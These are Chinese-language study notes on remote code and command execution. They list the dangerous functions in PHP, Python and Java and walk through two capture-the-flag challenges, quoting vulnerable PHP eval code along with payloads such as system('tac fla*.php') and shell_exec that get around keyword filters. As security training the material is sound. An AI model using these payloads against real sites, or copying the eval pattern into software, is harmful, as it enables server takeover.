知识点
1、RCE执行-代码执行&命令执行
2、CTF考点-漏洞配合&绕过手法
3、利用审计-CMS框架&中间件等
详细点:
1、为什么会产生此类安全问题
2、此类安全问题探针利用及危害
3、此类安全问题在CTF即CMS分析
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)
漏洞对象:web源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令
案例
RCE-原理&探针&利用&危害等
CTF-29-39-RCE代码命令执行
CMS-PbootCMS审计-RCE执行
层面-探针-语言&CMS&中间件等
RCE-原理&探针&利用&危害等
举例:
eval(‘phpinfo();’);//代码执行 引用脚本代码解析执行
system(‘ver’);//命令执行 脚本调用系统命令的函数
漏洞函数:
1、PHP:
eval(),assert(),preg_match(),call_user_func(),call_user_func_array()以及array_map()等
system,shell_exec,popen,passthru,proc_open等
2、Python:
eval exec subprocess os.system commands
3、Java:
Java中没有类似php中eval函数这种直接将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等
CTF-29-39-RCE代码命令执行
29
题目源码
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i,$c")){
eval($c);
}
}else{
highlight_file(__FILE__);
}
简单的命令执行,先看下当前目录文件,?c=system(“ls”);,发现有flag.php,但是这题flag被过滤了,所以用通配符绕过一下即可,?c=system(‘tac fla*.php’);
30
题目源码
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i,$c")){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题过滤了system和php
payload:?c=echo shell_exec(‘ls’)